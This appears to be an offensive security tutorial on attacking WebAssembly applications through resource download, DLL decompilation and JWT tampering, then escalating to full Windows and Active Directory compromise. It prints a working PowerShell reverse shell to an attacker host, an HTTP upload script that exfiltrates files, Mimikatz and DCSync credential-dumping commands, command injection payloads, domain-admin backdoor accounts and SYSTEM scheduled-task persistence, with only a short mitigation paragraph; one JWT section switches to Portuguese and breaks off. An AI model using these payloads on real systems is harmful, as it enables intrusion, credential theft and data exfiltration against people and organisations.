Exploiting WebAssembly Vulnerabilities: From API Exploitation to Privilege Escalation
Configuration File Analysis and Resource Download
WebAssembly-based applications use a configuration file that contains essential information about the resources required for execution in the browser. This file includes a list of assemblies, dependencies, and other information related to libraries and scripts that must be loaded on the client-side.
To identify and explore potential vulnerabilities, it’s common to download all the resources referenced in this file. The process starts by loading the configuration file and extracting all the URLs that point to the application’s libraries and resources. These resources are then downloaded locally for further inspection and analysis.
Here’s an example of how this can be achieved programmatically:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import json
import os
import requests
# Create a directory to store downloaded resources
os.makedirs('resources', exist_ok=True)
# Load the configuration JSON file
with open('config.json', 'r') as f:
data = json.load(f)
# Combine all resources into a single list
resources = {**data['resources']['assembly'], **data['resources']['runtime']}
# Function to download files
def download_file(url, path):
response = requests.get(url)
if response.status_code == 200:
with open(path, 'wb') as f:
f.write(response.content)
else:
print(f"Failed to download {url}, status code: {response.status_code}")
# Base URL and download the files listed in the JSON
base_url = 'http://example.com/_framework/'
for filename, hash in resources.items():
url = base_url + filename
path = os.path.join('resources', filename)
download_file(url, path)
print(f'Downloaded: {url} -> {path}')
After downloading the files, each resource can be analyzed for potential vulnerabilities or sensitive data, such as embedded credentials, tokens, or API keys. This type of analysis provides deeper insights into the security of the application and helps identify areas that might be exploitable.
Exploração de Vulnerabilidades em APIs e Manipulação de Tokens JWT
Aplicações WebAssembly frequentemente interagem com APIs para recuperar ou atualizar dados, e muitas dessas APIs utilizam JWT (JSON Web Token) para autenticação e gerenciamento de sessões. Os JWTs transmitem informações de forma segura entre cliente e servidor, contendo claims que representam a identidade e os privilégios do usuário. No entanto, quando mal configurados ou pouco seguros, os JWTs podem ser explorados por um atacante para obter acesso não autorizado ou escalar privilégios. Nesse contexto, a análise de como a aplicação gerencia tokens JWT é fundamental. O atacante pode interceptar e manipular os tokens JWT para modificar claims, como alterar o papel de usuário ou níveis de acesso. Por exemplo, se o token não for devidamente validado pelo servidor ou se a chave usada para assinar o token for fraca, o atacante poderá forjar ou adulterar tokens.
Aqui está um exemplo de como um atacante pode modificar um token JWT:
- Extrair o Token JWT:
O token JWT pode ser capturado por meio de uma ferramenta como o Burp Suite ou diretamente do armazenamento do navegador, geralmente encontrado no cabeçalho
Authorizationdas requisições HTTP:
1
Authorization: JWT <JWT_TOKEN>
Decompiling and Analyzing WebAssembly DLL Files**
In applications that use WebAssembly, much of the client-side logic is compiled into DLL files (Dynamic Link Libraries), which are then executed by the browser. These files often contain important functionality, such as business logic, API integrations, and user authentication mechanisms. By decompiling and analyzing these DLL files, attackers can gain valuable insights into the application’s inner workings and potentially discover sensitive information or exploitable vulnerabilities. The process of decompiling DLL files involves converting the compiled binary back into a readable format. This allows attackers to review the code for issues like hardcoded credentials, weak encryption practices, or insecure API endpoints. Tools like dnSpy or ILSpy are commonly used to perform this analysis. Here’s an example of how an attacker might approach this:
- Download the DLL Files: Using a script or manually, attackers first download all the DLL files referenced in the WebAssembly configuration file. This can be automated using Python scripts to parse the file and retrieve the resources from the server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import json
import os
import requests
# Create directory to store DLL files
os.makedirs('dll_files', exist_ok=True)
# Load configuration file and extract DLL references
with open('config.json', 'r') as f:
data = json.load(f)
# Extract DLL files from resources
dll_files = data['resources']['assembly']
# Function to download DLL files
def download_dll(url, path):
response = requests.get(url)
if response.status_code == 200:
with open(path, 'wb') as f:
f.write(response.content)
# Base URL and download DLL files
base_url = 'http://example.com/_framework/'
for filename, _ in dll_files.items():
url = base_url + filename
path = os.path.join('dll_files', filename)
download_dll(url, path)
print(f'Downloaded: {url} -> {path}')
-
Decompile the DLL Files: Once the files are downloaded, the attacker uses tools like dnSpy or ILSpy to decompile the DLL files. These tools allow for detailed inspection of the methods, properties, and logic contained in the DLLs.
-
Analyze the Code: During the decompilation process, the attacker examines the code for security flaws or hardcoded values that could be exploited. For instance, if the application is using JWT tokens, the attacker might look for the method that handles token creation and verification, searching for weak secret keys or insecure logic. A typical example might look like this:
1
2
3
4
5
public void SetJWTToken(string token)
{
this.jwtToken = token;
this.httpClient.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("JWT", this.jwtToken);
}
In the above code, the attacker could focus on how tokens are set and passed to the API, as well as whether proper validation and authorization checks are in place.
-
Search for Hardcoded Secrets: In some cases, developers might hardcode sensitive information, such as API keys, database credentials, or encryption keys, directly in the application’s logic. If these are found in the decompiled code, they provide attackers with an immediate entry point for further exploitation.
-
Reverse Engineer API Communication: By analyzing the decompiled code, attackers can also learn how the application communicates with backend APIs. This can reveal endpoints, request structures, and any additional layers of security or validation that may be bypassed or manipulated.
By leveraging decompilation tools, attackers can uncover valuable information hidden within the DLL files, enabling deeper penetration into the application and its backend systems. This method is particularly effective when applications are deployed with minimal obfuscation or encryption, leaving the compiled code exposed for analysis.
Command Injection and Privilege Escalation in Windows Systems
Once an attacker gains access to a system through vulnerabilities in a WebAssembly-based application, the next step often involves privilege escalation, allowing them to execute commands with higher privileges. One common method for this is command injection , where an attacker manipulates the input fields or API requests of the application to execute arbitrary commands on the server. Command injection exploits occur when user inputs are passed directly to the system’s command line without proper validation or sanitization. This allows an attacker to execute system commands under the permissions of the application, potentially leading to full control over the system.
Here’s a breakdown of how this attack can unfold:
- Identifying Command Injection Points: Attackers first identify where user input is passed to the system command line. This could be through an API endpoint or an input field that processes commands. For example, a vulnerable endpoint may look something like this:
1
2
3
4
5
public string RunCommand(string userInput)
{
string command = "ping " + userInput;
return ExecuteCommand(command);
}
If userInput is not properly sanitized, an attacker can pass a command like ; whoami, which would allow them to execute the whoami command on the system.
- Exploiting Command Injection: Once a vulnerable point is found, the attacker can inject commands into the input field. For example, if the input is being used directly in a command execution function, the attacker can inject something like:
1
; net user attacker /add
This command would add a new user to the system, giving the attacker further access. Other common commands include listing directory contents or creating a reverse shell.
-
Escalating Privileges: After gaining basic access to the system, the attacker’s goal is to escalate privileges. On Windows systems, this often involves looking for misconfigurations or services running with elevated privileges that can be exploited. For example, attackers might search for writable directories or services that can be restarted with a modified configuration to gain administrative access.
-
Using PowerShell for Privilege Escalation: PowerShell is a powerful tool that can be exploited to escalate privileges on Windows systems. Attackers can use PowerShell scripts to run commands with elevated permissions. For example, a common escalation technique might look like this:
1
2
3
4
5
6
7
8
9
10
11
12
$client = New-Object Net.Sockets.TCPClient("attacker-ip", 4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush();
}
$client.Close();
This script creates a reverse shell back to the attacker’s machine, allowing them to execute further commands as an administrator.
- Mitigating Command Injection and Privilege Escalation: The key to preventing command injection is to ensure that all user input is properly sanitized and validated before being executed on the system. Implementing least-privilege principles, such as running services with the minimum required permissions, can also limit the damage caused by privilege escalation attacks.Developers should also disable the execution of system commands from user input whenever possible, especially in web applications where user input is involved. Tools like AppLocker and Windows Defender can help monitor and prevent unauthorized execution of scripts and binaries on the system.
Command injection, combined with privilege escalation techniques, can give attackers complete control over a compromised system. By exploiting these vulnerabilities, attackers can move laterally within the network, access sensitive data, and compromise additional systems.
Exfiltration of Sensitive Data and Active Directory Credential Manipulation
After gaining elevated privileges on a compromised system, the next logical step for an attacker is to exfiltrate sensitive data and manipulate credentials to maintain persistence. In environments that use Active Directory (AD) , attackers can exploit the vast amount of information stored in AD to obtain credentials, escalate access across the network, and maintain long-term control over the environment. Here’s how attackers typically approach this:
- Locating Sensitive Data: With elevated privileges, attackers have access to a broader range of files and directories. They search for sensitive data such as database credentials, API keys, financial records, or personal information stored in configuration files, databases, or even the system registry. Common commands used in Windows environments include:
1
2
Get-ChildItem -Path "C:\Users" -Recurse -Filter "*.config"
Get-ChildItem -Path "C:\ProgramData" -Recurse -Filter "*.xml"
These commands search for configuration files that may store sensitive data in cleartext, such as database connection strings or API credentials.
- Dumping Active Directory Credentials: Once inside a domain-joined machine, attackers often target Active Directory to retrieve credentials and move laterally through the network. Tools like Mimikatz are frequently used to dump credentials from memory, allowing attackers to extract password hashes and other authentication tokens.Using Mimikatz , an attacker can retrieve password hashes with the following command:
1
sekurlsa::logonpasswords
Alternatively, they can use the DCSync technique to simulate the behavior of a domain controller and extract credentials for any user in the domain, including domain administrators:
1
lsadump::dcsync /domain:example.com /user:Administrator
- Manipulating Credentials and Creating Backdoors: Once credentials are obtained, attackers can manipulate them to create persistent backdoors. This can be done by creating new user accounts with administrative privileges or by modifying existing accounts. For example, attackers may create a new domain admin user:
1
2
3
net user attacker P@ssw0rd /add
net localgroup administrators attacker /add
net group "Domain Admins" attacker /add /domain
This allows the attacker to maintain access even if the compromised machine is detected and cleaned up.
- Exfiltrating Data: After identifying valuable information, the attacker prepares it for exfiltration. Common methods include compressing the data and sending it over HTTP, FTP, or using more covert methods such as DNS tunneling or encrypted communication channels to avoid detection. A simple way to exfiltrate data via HTTP in PowerShell might look like this:
1
2
3
4
$file = "C:\SensitiveData.zip"
$url = "http://attacker-server.com/upload"
$webclient = New-Object System.Net.WebClient
$webclient.UploadFile($url, $file)
This sends the file SensitiveData.zip to a remote server controlled by the attacker, ensuring the data is transferred without raising suspicion from network monitoring tools.
- Persistence and Covering Tracks: To avoid detection and ensure they retain access to the system, attackers often disable security tools, delete logs, and leave behind backdoors such as scheduled tasks or startup scripts. For example, attackers can create a persistent backdoor by adding a scheduled task that runs their malicious script every time the system starts:
1
schtasks /create /tn "SystemUpdate" /tr "C:\backdoor.ps1" /sc onlogon /ru SYSTEM
This task ensures that even if the attacker is logged off or the system is rebooted, their script will execute automatically, re-establishing control over the machine.
Key Exploitation Points:
-
Active Directory Credential Dumping: Using tools like Mimikatz and DCSync, attackers can retrieve credentials from domain controllers and escalate their access across the network.
-
Credential Manipulation: Attackers often create new admin accounts or modify existing ones to ensure long-term persistence.
-
Data Exfiltration: Sensitive information is extracted from the network using covert channels, often bypassing network security measures.
-
Persistence Techniques: Attackers use scheduled tasks, startup scripts, and other methods to maintain access to the compromised system even after reboots or cleanups.
By leveraging these techniques, attackers can extract valuable data, manipulate user credentials, and maintain a foothold in the compromised network, making it difficult for security teams to detect and fully remediate the intrusion.